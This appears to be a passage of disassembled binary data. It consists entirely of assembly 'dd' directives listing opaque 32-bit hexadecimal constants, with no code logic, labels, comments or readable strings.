		dd 906EDCDAh, 5EF02113h, 31125D03h, 8B8E97C8h, 6F4784C6h
		dd 0B625B401h, 3CE0E5FBh, 0A6BF0F44h, 8049497Ch, 1D7E5E45h
		dd 4EF3B003h, 0E0BA8928h, 0D1B1C5A5h, 3B8A12BCh, 5C26B3A3h
		dd 1B7B7045h, 17C3F282h, 0CA4F04F8h, 545004AFh,	38F80558h
		dd 5C4039CBh, 0EBB0D5F7h, 591E3A43h, 0E1449256h, 0C86438E9h
		dd 57324328h, 0AFBA4D00h, 815E9B67h, 174E02F2h,	0DAF746FBh
		dd 4A71DE78h, 770F1B90h, 77381A10h, 0A480CE12h,	95F330E9h
		dd 6FEB1920h, 28171624h, 0AE04215Dh, 66030776h,	0F09DC501h
		dd 0CFA9E6F7h, 0C11AD8ACh, 0F9A7DCABh, 30E81F12h, 53813FC6h
		dd 2CB2BB30h, 447614h, 1ADE5524h, 4878D8F7h, 51779300h
		dd 8B20D7Ch, 50403F13h,	3558F860h, 0C23A1856h, 0EAE99D7Ah
		dd 81D4E55Fh, 3E711F95h, 521760E6h, 0D18BD456h,	29360613h
		dd 157A62D2h, 84FDF56Ch, 0C8883CC0h, 40D090B3h,	0E602BB37h
		dd 29305655h, 0C46B425Ch, 6F6C26C1h, 0BC0FC44Dh, 7D2D2C1Eh
		dd 38707F63h, 3A8BF583h, 0F800B76h, 32D0EFBh, 240BC0B0h
		dd 905C486Fh, 7E1E7687h, 9EDBF0B9h, 38FB072Fh, 1A6CA36h
		dd 8CEF9934h, 2058F131h, 0B9C40C28h, 1BC7DFE4h,	0C6C3D424h
		dd 41D3BA5Fh, 0C0725757h, 773C6707h, 0A7BCB630h, 5AD02807h
		dd 0D853BF04h, 0BEE4A72Ch, 0E0C04ED1h, 0F61AD1F7h, 788CE2FBh
		dd 4E43766Eh, 0B8160040h, 4DB218F7h, 4B0A314Bh,	5BBBADDFh
		dd 0DE71AE88h, 36413A5h, 0F4286670h, 0DC831075h, 0C4E5A482h
		dd 77253270h, 0F460C633h, 1A95E6A4h, 0BD75C9Ch,	0EF9B1B59h
		dd 0A75EDBC2h, 5E0D309h, 0C4220190h, 7923CADEh,	8B548E2Ah
		dd 0E9F63896h, 18A4E57Fh, 0FE05469Ch, 8DA86D19h, 2A6A5204h
		dd 9EAB9726h, 0B0567F61h, 0BCF6FC1Fh, 21896F18h, 2DF3410Ch
		dd 80C290F7h, 90CCA485h, 3E685217h, 6430445Eh, 4CB7CEB6h
		dd 0E9121156h, 5DD34ED9h, 0CD62A6CBh, 2D6D1A88h, 0FE51EB07h
		dd 6A12B153h, 0A8460C74h, 741EBCE6h, 250E4E68h,	122BA10Dh
		dd 1950CD7Ch, 0B4AFB395h, 0D3F4E970h, 1E0C51CAh, 10332E0Bh
		dd 2C582F55h, 204A196Bh, 0D2C30598h, 84DD8847h,	1CECC24Ah
		dd 98EA07F8h, 7F599DCFh, 4B545AD2h, 55421038h, 537680Ch
		dd 6753A767h, 61267D98h, 9CC2CE43h, 0E6040B09h,	0A24FC55Fh
		dd 48CD4828h, 0B0949B55h, 764DFB23h, 83839829h,	900C0208h
		dd 6612A81Ah, 0E0D91342h, 0A119E967h, 1115BF30h, 353F0DF5h
		dd 5606929Fh, 315E6868h, 0EAFF1C9Ah, 0EF701F7Ah, 73B4072Ch
		dd 0C8B5B034h, 1A9CB00h, 512A4D9Fh, 0E93F264Dh,	684C2720h
		dd 0B95F8B33h, 166220D2h, 0ADBBEB14h, 364D0D02h, 0AF665002h
		dd 281221FFh, 945A8AB3h, 16E26841h, 2B13316Eh, 0C9540229h
		dd 1B25838Bh, 95015F3Ch, 0C140775Eh, 0E98520E1h, 0AF4A7C09h
		dd 0BC1D003Bh, 0F6200279h, 0D8D5ABFDh, 0F4E93CEh, 0DEF73DF6h
		dd 0CA2494A5h, 0DC257B95h, 592CA1FDh, 89E50627h, 3587EB54h
		dd 2F33EAC0h, 172E798Ch, 81A1E9F2h, 0C8566606h,	1B76D368h
		dd 0AB595E7Dh, 6A8D4BAAh, 90545BEDh, 781C8709h,	343695ADh
		dd 11D2220h, 674CCE05h,	30F00147h, 632C7B35h, 8107B9F9h
		dd 87F1A8CAh, 9492424Bh, 1876CC4Fh, 26010740h, 3D9A5DEBh
		dd 0BD891730h, 0FA3E38F5h, 851E696Bh, 4EE2C720h, 8346DF50h
		dd 57FD82E9h, 0BAF5830Dh, 1829105Bh, 79205F6Ch,	35325C76h
		dd 76052AF6h, 0C265CB6Dh, 16855A17h, 802C829Ch,	8BCD750Eh
		dd 7737BB8h, 8C4CC716h,	0FEA8AD40h, 8072C328h, 0D15A327Ah
		dd 0CEBFA30Fh, 7845296Ah, 2C2D04D1h, 144EB59h, 190D4FE7h
		dd 8F91004h, 0E582DA40h, 0F0E58303h, 5A81EF52h,	0ABFB0F9h
		dd 6809EEC8h, 806631B8h, 0C82E6700h, 0E9555013h, 5A59B21Fh
		dd 38169959h, 0EF9CA5D9h, 3F624E9h, 0F45795C7h,	409D317Ah
		dd 4D19AE15h, 0C1C030FEh, 0FE023232h, 317B69D4h, 27F8831h
		dd 4E8830Bh, 4252317Eh,	7EB84A35h, 0F14A8809h, 7A42BF01h
		dd 93207C62h, 2E33183Bh, 89880C66h, 959750Bh, 736804FEh
		dd 301E0013h, 0D1145779h, 206AE348h, 0CB01255Ah, 0C36A432Fh
		dd 814583ADh, 0B487B7E5h, 31EDC168h, 0CE80FE46h, 0E12005EEh
		dd 0E6062576h, 604E6EB9h, 3C370F18h, 1601D6h, 0A37D0795h
		dd 0F5273111h, 1FD895Eh, 674D32A4h, 0BAF84920h,	162ABF26h
		dd 9626A9h, 0F2811E9Bh,	2C245619h, 80380823h, 293E9F07h
		dd 96315AD3h, 70E94371h, 3CEFA2E5h, 41219256h, 1C7B8221h
		dd 0F0330501h, 1144371h, 9072DF8h, 6EEF9BE9h, 9ACEF63Fh
		dd 516816F3h, 4B92CC1Fh, 5630B965h, 2825A9ECh, 63272A65h
		dd 5CE9F109h, 174EF38h,	2F15BE58h, 6E29EA02h, 0D2F093F0h
		dd 0CA5704C9h, 0D33DECF2h, 8D4CB0F3h, 0D727EC62h, 30015E69h
		dd 11C056A2h, 8005E3C0h, 885E07EBh, 755B66DAh, 0D10882F2h
		dd 0BE0038DCh, 7670776Ch, 0B93E768h, 8BC0B05Ah,	0CD5D7C55h
		dd 3C8EE8E1h, 58E930B5h, 1C33B110h, 685C60B8h, 0D612481Fh
		dd 4BFB7504h, 16E0BCCDh, 0A8AC991Bh, 9B7655A1h,	0F85EE120h
		dd 0CA024AC2h, 865C29E7h, 52EAC125h, 0DC6CEF43h, 5E2FB6F5h
		dd 57EFCB18h, 0D6EFAC79h, 465EC9C0h, 35B1B887h,	29B438B3h
		dd 14317ABAh, 0CC79CD01h, 80B62593h, 735B5415h,	162C724Fh
		dd 0E92484EFh, 67A74F86h, 0BCEA8B2h, 37F03A8Ch,	0CC165E0Fh
		dd 70400317h, 95929759h, 1162DCD9h, 1BF10914h, 24BD1E88h
		dd 68518DC7h, 4C24371Ch, 0CD381037h, 35455A2Fh,	83B05220h
		dd 68C2FD96h, 0B0736633h, 0F7B1F253h, 7D991F8Bh, 50428471h
		dd 0D5310219h, 93F8E342h, 0A9BA7A36h, 0A7A88FCCh, 0CEA0BE2Bh
		dd 4D6A15E4h, 6854EEC9h, 0F06E5A78h, 0F5810226h, 17C23B3Dh
		dd 1BCD6A60h, 6497240Fh, 0F2DF0BE9h, 81077CE3h,	24226F56h
		dd 0F7CFC894h, 0F4198D2h, 7EA58F90h, 785010A9h,	0A06E07A2h
		dd 0B3BC7DFCh, 1DA52916h, 0FC39E73Dh, 62D7A13h,	26B71A4Ah
		dd 5881BA9Fh, 0B01BB753h, 58D05F4Eh, 0BB5BB768h, 6D940B2Ch
		dd 3CAE79Ah, 0E6E7DF6Ah, 4034E98Bh, 5EBE6899h, 0F9BCCC3Bh
		dd 484A30F4h, 0C83260C7h
		dd 0B80A8C05h, 9739FBF2h, 0CE9DA076h, 6999966Ch, 3882F45h
		dd 4B6C245Fh, 54172C16h, 50573FE9h, 2F283354h, 495CE6B4h
		dd 4880D3BAh, 2D733518h, 0A84DC51Eh, 9B0011Ah, 0AF16807h
		dd 0FEF9ABEh, 0B22F43CDh, 6B90C93Eh, 1B5CCEE8h,	0B582BA91h
		dd 0E1C58020h, 0AFFDE8D8h, 55F8B954h, 0E1BB54B4h, 0CD9A0225h
		dd 7AFB1444h, 0BCE98321h, 0F52D477Fh, 334072AAh, 0FD4B8CC9h
		dd 5A712C7Ch, 0AB603DDDh, 0A61095F7h, 402CB4B9h, 0E00B5D27h
		dd 7F4A905Eh, 0C1458001h, 6605E530h, 0FB460EE8h, 9414CFFCh
		dd 0D9C58B05h, 6A1FB7F9h, 0D0B02DD2h, 1923E1BAh, 278C884Eh
		dd 2D5E3040h, 0A323D601h, 175F7879h, 1EE6945h, 0BB82201Dh
		dd 0C0C27D60h, 0B2CCC109h, 5BF92F17h, 5609F446h, 60536677h
		dd 8318F30Ah, 65B588A9h, 80353A87h, 47174ACBh, 4CD6A234h
		dd 0BCC0208Ah, 185499Dh, 0E5B9BC68h, 0E9C2FDBCh, 20B1D28h
		dd 4641827Ch, 0CC80970Ch, 15BD47CFh, 207A8F74h,	5F0A06D0h
		dd 450C4548h, 0FD138553h, 1A049616h, 3500312Bh,	0FE92CA49h
		dd 58C12916h, 0BCB6D60Ch, 0B448EB21h, 292B401Bh, 7ECCFA51h
		dd 0D015B322h, 7FB800CDh, 0D3D1170h, 29013F87h,	3E0C120h
		dd 1420D0F7h, 7128D2EAh, 745404h, 7B652ACh, 289F2C4Eh
		dd 0C340D2F0h, 92D87E69h, 21A10548h, 18BFA3F5h,	254E833Eh
		dd 0CB4005ABh, 4C6AB278h, 13DBE1C3h, 66F30D8Bh,	20060E4h
		dd 0C85B050h, 5A460453h, 65720928h, 3AD85490h, 106B45C5h
		dd 0BFE8ADA5h, 0E20148DFh, 85C76615h, 2A71C305h, 1215E825h
		dd 91404891h, 0D8F6BDB0h, 7E83EC0h, 0BD3889A6h,	0BC75CC87h
		dd 3E33A20Bh, 0DE595402h, 9606C8D0h, 59122251h,	238BD356h
		dd 532622CBh, 0B30B5751h, 8967A71h, 52572640h, 3940BAh
		dd 9ABF3843h, 3118C144h, 0E834D75Fh, 9D21682h, 0DF34AC8Ch
		dd 21262705h, 0C404EAC1h, 25ED0171h, 0CDBCA684h, 2C945913h
		dd 0A4CC48E0h, 0DA877135h, 92FE2C98h, 0BBF9F09Ch, 0EC0B0A17h
		dd 63091880h, 0C7F6002h, 0DD225251h, 1EDE2930h,	304931C1h
		dd 0FE0C6D19h, 427FC077h, 0C8E9F109h, 4F5A761Fh, 23B104h
		dd 0E3C02CB3h, 0F3860C06h, 0E908DEF6h, 26726D24h, 273D8168h
		dd 0F0F189DDh, 3CF50074h, 89A593B4h, 0F0F35DEFh, 7E302C20h
		dd 27399E33h, 0E92F0CBDh, 0D939669Dh, 0D924DEA2h, 0D12AAD0h
		dd 0F202C9B6h, 617F374Bh, 6834047Dh, 922988C8h,	549220C6h
		dd 25DA5B4Ch, 0E673E28Eh, 9411E491h, 0C05B9292h, 6A1BBA3Eh
		dd 53FDB02h, 4084764Dh,	0A22DD0E2h, 68FF2107h, 653B2EC6h
		dd 0AEDA648Ch, 7051A65h, 0D549DAE9h, 0E2D8B51h,	41001CA2h
		dd 2E9EF181h, 0B0F5A316h, 0C1400B4Ah, 35D3ED18h, 83B22006h
		dd 88072096h, 4CD568C6h, 0EFC769E9h, 81F37B8Bh,	5A8630EBh
		dd 0E9FE3888h, 0DAB1BCA0h, 0FFF3C625h, 912F6FEDh, 0A5125B6Ah
		dd 0C9F5979h, 0F2675E08h, 4979F37Dh, 6C360505h,	9F5052E4h
		dd 0D95A2507h, 0D05669DFh, 38298560h, 0EA811C49h, 4FE20ADCh
		dd 501801ADh, 0F3D14403h, 30D4B0F7h, 0E912223Bh, 0F8456135h
		dd 9C0BFB5h, 76EB08FFh,	1248E659h, 0B5AF330h, 0D73003C5h
		dd 0CAB164F5h, 12164B08h, 3B500758h, 0AB01446Eh, 3DCDCD16h
		dd 0C720202Ah, 8F775359h, 40EEEFECh, 290A7E07h,	0C1B4E9F7h
		dd 0CADEBDFDh, 48C748BAh, 15941ECh, 0F231F8EAh,	0EE821EBCh
		dd 0FE7A7755h, 8A123FBFh, 70A9F43Ah, 3968F940h,	17A41DA6h
		dd 7303801Ah, 0E9910AABh, 69335330h, 0FA5C18EDh, 0D077B812h
		dd 95F0878h, 8E565186h,	0C718D378h, 0A2B1C745h,	8455B7D9h
		dd 78D11FFFh, 702C585Fh, 0E707BFA1h, 0F0F32292h, 70BD408h
		dd 3BC32966h, 4C99B503h, 7FEB0A01h, 76A9E913h, 6C9F9128h
		dd 0B961705h, 4C41E17Dh, 417930EBh, 9A2F84Bh, 0C2D3EE1Ch
		dd 0F52993D9h, 140AFD1h, 39BF57D5h, 308B2FD9h, 3BA0F2E9h
		dd 515877B9h, 0F741460Eh, 8634D1h, 0B0279FE9h, 0A1C82962h
		dd 7270D8D0h, 13C582C5h, 9A94F63Eh, 2483F61Fh, 36305A01h
		dd 0D063284h, 4082E926h, 0D135B0B0h, 0FAA1503Ah, 0ED2D025Eh
		dd 29025621h, 3C8601E0h, 0C15A789Ch, 47AD01CEh,	417CF3A2h
		dd 5560E9F4h, 0BE39C068h, 425D7920h, 8A84E285h,	24DEC6Dh
		dd 683DBBCFh, 8264407Bh, 2FB42866h, 49D8E3FCh, 0D249034h
		dd 0DC95E8Fh, 9B213F92h, 317E4A5Ch, 32B30F97h, 0B07D17A9h
		dd 76B91BD2h, 56FB2504h, 0E911FB17h, 8C94D7D7h,	4932EB2h
		dd 12265AD7h, 4E795BFDh, 0F31EA458h, 0A1D76F04h, 24BA293Dh
		dd 1248C287h, 8C92A170h, 125FED97h, 886D4BC3h, 16376B8Ah
		dd 8352F0A6h, 6602EC16h, 0F96478E4h, 4B4A9C30h,	0E09B894Dh
		dd 109FB3DCh, 4B7F6883h, 568B306Ch, 0CBB0B847h,	1940EA04h
		dd 45BE7BCEh, 0CC3793C4h, 0F606F8F2h, 3DCE80D6h, 0F2427606h
		dd 2EFBBA20h, 6121EB5Ch, 2A5A5868h, 0B9F55234h,	0FAFAAD19h
		dd 18D594ECh, 51857988h, 12C15E80h, 14602E6h, 7323EEDDh
		dd 6AF6027h, 80CDE927h,	3F35053Dh, 0C6135F4Eh, 714EF4F5h
		dd 75E6C8D4h, 8DD5B113h, 4D2FE414h, 58591C95h, 0F24A915Ch
		dd 0EE306BC9h, 555328F0h, 276D96E7h, 0C9623140h, 0C1932097h
		dd 2A23A96h, 59CD296Fh,	3176E921h, 92DD53A5h, 62950A0Ah
		dd 80956A9Bh, 45CC58F7h, 479C25E9h, 33D4D38h, 0C46866E5h
		dd 64F9A50Bh, 8C19B41Fh, 0B50606ECh, 82D1E925h,	43D5F671h
		dd 0B5A3BCE6h, 54536263h, 0C3A03AEAh, 0B23790BFh, 8886504Ah
		dd 5D1C4AB2h, 52C0D66Dh, 935EE2AEh, 0E912C2CAh,	471E039h
		dd 0BB2CCB13h, 0E9D38BF1h, 89393309h, 1D08150h,	5813735Eh
		dd 2C529468h, 0AC8893D3h, 6D216755h, 9283D7D8h,	0CBB31A1Dh
		dd 6BBB9402h, 404F8575h, 2D2E601Ch, 0FF883314h,	4A0D1081h
		dd 40A437B4h, 0D969091Dh, 428C89D5h, 0BFDE459Bh, 0B68202Dh
		dd 6212A1CAh, 9F0050D1h, 998C950Eh, 7E65BE9h, 74EE016Fh
		dd 0DE21AE0Bh, 31005B3Ch, 0C8E65FF9h, 0E9A512B6h, 7C750CF2h
		dd 0ED6C656Eh, 0DA68C266h, 9264713Eh, 0BFBB157h, 5660CCBh
		dd 4AE12409h, 193928E3h, 0ADED2584h, 68CA6E49h,	4F8C4A33h
		dd 985F4B54h, 6816D76Fh, 22002C85h, 1D417763h, 1A4BE9h
		dd 0C7582D07h, 95EAC0h,	0BD5557BFh, 7671D3Bh, 0CCE0A521h
		dd 0D62E5C66h, 0CD222B18h, 0F70CF6F8h, 5A25B833h, 69D8EFF3h
		dd 0E9F10A01h, 8882575Eh, 173D6229h, 15DE7F7h, 0CCE5B8Dh
		dd 3165132Fh, 6DB6F8h, 702C36B7h, 5F1EB8F0h, 0E3BD163Fh
		dd 368828Dh, 7986C4Bh, 7608C25Fh, 0EAD6D4E9h, 7A575630h
		dd 503B4CE6h, 4EE85650h, 43EFA35Dh, 26809C9h, 0A95F5B2Dh
		dd 20042AC6h, 5B78D25Ch, 0F030D14Bh, 0B359CB01h, 0CF7125F9h
		dd 52AE754Dh, 0ED8358BEh, 0B65FA2C5h, 220DCEDh,	26580C14h
		dd 0FAE239CDh, 0E928C009h, 0B8FAE02Ah, 0B4C413ADh, 5225A4C8h
		dd 5019B0AAh, 250220D7h, 6B685B80h, 3C420D9Bh, 0DC72DDD4h
		dd 0AC4400h, 61C76851h,	0EE7E604Dh, 745504E1h, 5AB334Ch
		dd 43E5D7A8h, 5B391687h, 5E688548h, 0A1FB4D74h,	0D1BAFBDh
		dd 18556605h, 0F1EF6773h, 922A065Ch, 0B388C3DCh, 25E280Bh
		dd 693F1543h, 0EF54EB29h, 0E670FF51h, 0B5C3D24Ah, 614976C2h
		dd 0F5A8E986h, 0EEE61E24h, 186196DFh, 57E164ADh, 0E07C3B27h
		dd 5C5051C6h, 1602CBB8h, 58C1897Fh, 9D0517C1h, 0FE490206h
		dd 0FB37A2E0h, 0CA0EF45Fh
		dd 0F0E90B15h, 2D66E6C0h, 0A22D095Bh, 5C3DBDF4h, 42206875h
		dd 0AB5E6390h, 0A387F34Ah, 52576885h, 381032F3h, 0E1C10C2Fh
		dd 1D089406h, 0EABB53h,	0EB815E21h, 2B2E482Ah, 2C3C894Eh
		dd 0C303556h, 678053F4h, 1F3D2461h, 0B9768Ah, 3F565B0Eh
		dd 62E774E9h, 7C7D04CFh, 0C1C27758h, 35400003h,	0AD016BCCh
		dd 59702D64h, 0D8E8484Ah, 166C0185h, 79E9C229h,	64472B53h
		dd 13801733h, 6E3C143h,	0F7CB8708h, 7AC108D1h, 6368285Fh
		dd 2F89C02Bh, 0AAC00A0Dh, 4FAE6732h, 0BF24BE9h,	0F5535E43h
		dd 490FD149h, 6885D845h, 0B64F39CEh, 35E2134Eh,	505D215Fh
		dd 0C2177854h, 5684E951h, 0EF090321h, 398C15Dh,	7D5E1D68h
		dd 3DF5C730h, 1C35B0B2h, 0B791E9EFh, 0BE277934h, 0B4B3A35Eh
		dd 50521406h, 4D5CE888h, 994FC1A8h, 0BD736042h,	70404C09h
		dd 90E5446h, 0F4263E9h,	0CEDE225Fh, 0B35300AAh,	0D30EF6DEh
		dd 0AEC1F380h, 2ACBA6DBh, 0DE385810h, 0D0285B01h, 333CEC68h
		dd 12B31284h, 0D37D56B4h, 3D6DBC5Fh, 6E66AC30h,	0BBB6884h
		dd 844B65BBh, 0C531B40Dh, 131F0D02h, 454D50h, 2BED0A31h
		dd 5FD80CC1h, 0AF257A79h, 0DE70E2Ah, 5F7457E7h,	5063B80h
		dd 6940F1E9h, 8AC84B29h, 171F5EEDh, 5D402707h, 9C093150h
		dd 5559014Bh, 5E3D4368h, 0E5D1F40Ah, 9FBFE924h,	916231A7h
		dd 0F70BF77Ch, 7A0046D6h, 6090535Ch, 306C0501h,	0E5E9086Fh
		dd 1577592h, 0EA2E16EDh, 111F2A03h, 55181A6Fh, 0FA078522h
		dd 40C8D648h, 2227D183h, 89433C75h, 1F22EE94h, 5816E681h
		dd 3D028185h, 891F3F05h, 0AFC65EF1h, 4BC91D24h,	2309336h
		dd 0F01758C3h, 180D442h, 3118D70Ah, 0B9D3498h, 0BC84F9D3h
		dd 875AD185h, 577B070Ch, 5412B1BFh, 0AE7CFD4Bh,	0B709CEC5h
		dd 87C968C5h, 4826263Eh, 0AD8B2574h, 66AD6173h,	41EAB02Bh
		dd 7E003E64h, 9065E61h,	5BDF3C01h, 3629C782h, 80777402h
		dd 0FEBEEF3Ch, 49C2806Fh, 61833E02h, 7D0613E9h,	15FC3C9Ch
		dd 0A9ABE554h, 4CFA6712h, 0A444BE13h, 13F249CFh, 5661284Eh
		dd 0F225E912h, 94C20BD0h, 37EF3002h, 5C97460Ch,	0D3017E09h
		dd 0AC9D595Ah, 451219C3h, 74AC20D8h, 89C38025h,	5A62FA92h
		dd 0EC31A5C5h, 0EA92B296h, 0F60789E8h, 7BE280D2h, 0B024CA33h
		dd 0F2C0C5EAh, 4FF2F807h, 0E9E5C1C2h, 5DDF93A3h, 0D8671C92h
		dd 0C1592F26h, 626B7A02h, 686A985Fh, 0CC4E4A8Ch, 384B0A28h
		dd 0D811E7A6h, 4A342021h, 0A81684A7h, 735E8C96h, 8062965Ch
		dd 8EB55152h, 800221B6h, 3DE974EEh, 87680153h, 0D8612F52h
		dd 302AF6BAh, 1376171h,	4572848h, 11EF5ECDh, 79018BBh
		dd 0DDBA78E9h, 0F170AD98h, 25149F1Eh, 322E7FC4h, 58B34081h
		dd 60E92BD8h, 0F9B92DE7h, 75141E6Fh, 76E8CD31h,	0AB0788DFh
		dd 76C97360h, 47480CBFh, 7A502C18h, 0B2AA01C3h,	0E3205AF3h
		dd 68E65670h, 0A3634229h, 0E98C1EA6h, 0D17E2h, 3A131E81h
		dd 36FC8735h, 0B4DCF5Ch, 46D82958h, 0A4BDA09Ah,	7E8D004Bh
		dd 7F6EA81h, 0CC111C6h,	6CC743AAh, 0A93CC925h, 5C46285Eh
		dd 42B1894Bh, 2E712D3Fh, 654C0FCAh, 3842C781h, 0A68FC6A7h
		dd 0E9E572CEh, 9E0CB15Eh, 0F48504Bh, 0B1510319h, 8CC880B3h
		dd 5970CE28h, 0F15AF026h, 0B0D25347h, 63DFD4C5h, 81F56F21h
		dd 145E993Ch, 13106DE9h, 0D8967CFAh, 24685D50h,	691A65BEh
		dd 701DA400h, 36903D6Fh, 131CB396h, 85071449h, 707EA33h
		dd 7B99D789h, 9B680FE4h, 7420A316h, 4CD41D41h, 254693A7h
		dd 81663F2Dh, 0FC19E544h, 0F5E15D1Fh, 300E0744h, 0ADCB4BE9h
		dd 0A66078E6h, 94B39758h, 0CCE8FAD2h, 921E65B9h, 228B6047h
		dd 0EC349449h, 425B9CEEh, 68003507h, 4DF42C18h,	33F603Dh
		dd 48458B10h, 0FAEAB2B2h, 0EEE91319h, 926AAD38h, 0EE4044F9h
		dd 773A6046h, 1BA5D0EBh, 0DC446AE1h, 31AF60FFh,	8930EB17h
		dd 10A6B497h, 317B7C5h,	0D48390Bh, 5D936C49h, 513EE4A8h
		dd 27F52D48h, 0D47A095Fh, 41CE416h, 0BE0140D5h,	0F69B18DDh
		dd 0A9090B5Ch, 0FE16615h, 735F7F98h, 8C2DEAA4h,	7E823367h
		dd 5C0D30B9h, 8F9CA30Fh, 1AD5E98h, 0B83095D6h, 2980B3EFh
		dd 1A09B4EAh, 0C4421049h, 7BEBC251h, 658A0893h,	32A46805h
		dd 0FE0544F3h, 0AC51881Ch, 8DE90B8Bh, 803217h, 2DC468C2h
		dd 5F1B2801h, 5E272094h, 22D1544Ah, 2800DCB0h, 0E6E05AF4h
		dd 38272590h, 7911E4FEh, 13FB6952h, 0C4355005h,	0C5DCF2BBh
		dd 0E1454EE9h, 0A880F701h, 0A0540784h, 0C55CF3AAh, 30234CCBh
		dd 53FE88BCh, 0F8EAF7E6h, 0CC2F0B90h, 0F26AC638h, 7FAE63DFh
		dd 0CE991AC6h, 0C218EC95h, 81858A91h, 4E82DCF7h, 0A6EDC00Fh
		dd 66E1302Bh, 0A20BB818h, 5AEBC65Ch, 2D68E428h,	185B59B7h
		dd 42BB5308h, 0AD50F8E9h, 5B51D8F2h, 3FBF4782h,	408598ADh
		dd 0A26E06DBh, 0ED023A76h, 13E03ECEh, 407E5EE9h, 7DB8FEF5h
		dd 4F468B5Ch, 31E9C5B4h, 0F0C9E465h, 28F1722Dh,	582DD95Eh
		dd 2796C61Bh, 42E90A6Ah, 1639BA68h, 0B86104E8h,	97B0D029h
		dd 1D059F10h, 9A5D1534h, 215E0704h, 0E9D860EBh,	5D9EDA9Bh
		dd 0D17AB643h, 407F2BD6h, 4F270148h, 0CF058172h, 21E10D3Eh
		dd 0B65B601h, 0A13011E2h, 0A0352584h, 370B4558h, 727EF44h
		dd 0F19005B0h, 176347B2h, 4CF0995h, 8007E721h, 5170E114h
		dd 5603904Eh, 4FC661E9h, 0D3A1A38Ah, 63121BB6h,	0BB5830DCh
		dd 66253BA2h, 0F74B405Fh, 0EB9AC3D3h, 0E871CE22h, 49FA692h
		dd 0B8A14377h, 0B056FF0Ch, 50F40F9Ah, 0D685118Bh, 0CEE1F05Ah
		dd 0C25EE709h, 0EBA3806Fh, 5FEFF6FFh, 0E9E74701h, 5C1D4819h
		dd 805B479Ah, 16885542h, 9ACBF644h, 0C480137Bh,	30E8F01Fh
		dd 25883F4Eh, 0A6544A55h, 0BE560138h, 25E25BBCh, 55DA0271h
		dd 9BA2B2ABh, 1A776C81h, 34634166h, 0B64C1933h,	4AD33060h
		dd 4D711D8Fh, 75CD8107h, 0E9A1887Ah, 50003880h,	0C7E4D889h
		dd 0B0BAA2F4h, 5457591Eh, 60493413h, 0B7C0F80h,	0F30D6281h
		dd 0C839881h, 0B2BF3C87h, 0C4519008h, 0FBBA80A3h, 712705E0h
		dd 0F28AC042h, 730D246Bh, 64EA0F33h, 0F4FC8905h, 0A29EB73Dh
		dd 0E40E661Bh, 207F8342h, 5E84FD40h, 168BA549h,	0EF705939h
		dd 0A0F02860h, 9D555F8Eh, 0AB27F7E7h, 8062563Bh, 61D55A19h
		dd 0F724465Eh, 400302D6h, 0B017140Ch, 26937AF6h, 135CD27Bh
		dd 25A9A212h, 5F20A5EAh, 81482D34h, 85DAC43h, 0B524621Ah
		dd 0F10FCF09h, 0FC6B4Fh, 6AC180Bh, 611915CDh, 52A9904Eh
		dd 8AC33B7Bh, 4A7CFA07h, 4B58519Fh, 0D12D56E5h,	68837A02h
		dd 9D2D3A3Eh, 921845E6h, 87842E8h, 4C5466C3h, 0DDD3B31Dh
		dd 0A5ED9B03h, 9BE2CC28h, 0C8EEBD93h, 0F381003Ch, 6860CCDh
		dd 0C89F8EF6h, 1878BE86h, 0F0080A7Ch, 0C2974E03h, 0A104771Eh
		dd 0B7580DD0h, 132F3AE5h, 9883E2AEh, 9D1425D2h,	0D2600A1Ah
		dd 9C9D4BDBh, 9BA0A0EBh, 4EFD0C16h, 80194BE9h, 52A4CC05h
		dd 0A492DEB6h, 0F6840F20h, 9FF7BC07h, 5F8A64B2h, 0C6FE6010h
		dd 7F5152h, 0CCBB050h, 0B22DE9ADh, 0C325BF3Bh, 0BFC2C008h
		dd 0D0BCC1Ch, 7CC567E9h, 0A8C7643Bh, 45C25B5h, 3F35433h
		dd 0DD1E90Ah, 0C742C9E8h, 9F889475h, 9CB55365h,	256803DCh
		dd 0E398639Eh, 9ABC4BC6h, 0C208D26Ah, 15E13DEh,	0EE0BDCAAh
		dd 0CAF62475h, 0E2389C0Bh, 0B4F4804Bh, 268B21Fh, 15184C05h
		dd 0CEF429DFh, 508C9887h
		dd 79546359h, 1E4F002Eh, 0B72D4018h, 0AA4A1B4Bh, 0F9CD20A1h
		dd 71E23F60h, 0C6E6003h, 2DC3827h, 69EBFFF3h, 48B9C54Ch
		dd 463584DCh, 1C223109h, 80094813h, 0C428F84Fh,	0B2F29034h
		dd 0C1789370h, 96A5FEE9h, 0CE00C1F5h, 0C8DBCC35h, 0EB810B39h
		dd 0C9820E96h, 0CB70B2E9h, 20774EB5h, 6813A135h, 7600953h
		dd 50AB2563h, 9399E33h,	4210DB4Ah, 0E9500F20h, 0C8B5516Eh
		dd 0C03D8C78h, 0CC4AF5C3h, 6FB42686h, 281B652Dh, 814AF486h
		dd 0DE892B51h, 0B502A130h, 0E2C3AE48h, 7D317E13h, 0A482A1C4h
		dd 8FB849BEh, 2F37C1C3h, 68EB7589h, 131D100h, 0E6975B33h
		dd 45E925DCh, 2E558541h, 5C89A48Ah, 0E945FDC0h,	640CF425h
		dd 0BE9FF032h, 0B1510F55h, 0CEC180C3h, 30A40612h, 0EB1980B8h
		dd 3AD0687h, 0E3E382D9h, 0F706AEE1h, 0F6458702h, 67A649A5h
		dd 0B10D0692h, 0F3C52A0Bh, 0D74EC2F6h, 0B565440h, 19AB5Bh
		dd 510BAD11h, 1EC09F66h, 6890564Dh, 25BAEF04h, 22800236h
		dd 17F61585h, 0AFE31ABh, 89FEBD05h, 5DDC2366h, 0F4280C62h
		dd 0E9D8056Fh, 2EFCA82Fh, 0A72F2F5Fh, 0D7655D96h, 51BACCCh
		dd 3194E095h, 0E2A6D9FAh, 52F6A457h, 0E9E108F8h, 4C437812h
		dd 5A7F587Bh, 1C6C9E4h,	643C3B50h, 7A431FE9h, 0D984B727h
		dd 16526DE0h, 1220BBB2h, 0D1FD02DBh, 5042E828h,	2D914AF0h
		dd 9D801425h, 9697ABECh, 0AF499793h, 0FF006A6Dh, 0C3203EBFh
		dd 0DF85A061h, 13A90572h, 0A342BDE9h, 77A14B3Bh, 3D428A7Ah
		dd 4FA8DDE9h, 0B8D304F3h, 0DD89F309h, 0FD9361FCh, 0C3E90C06h
		dd 74850A2h, 0E46CC12Dh, 0E8C0B774h, 9FEC52Fh, 60C61F09h
		dd 2FC2505Ah, 640549B5h, 9F1423C4h, 704E9880h, 90B04291h
		dd 78533905h, 0B28089B1h, 960E3E68h, 2B8C4C65h,	8140175Bh
		dd 0F05080F3h, 0DBF73167h, 0D48DB084h, 0D960296Fh, 45EBE95Eh
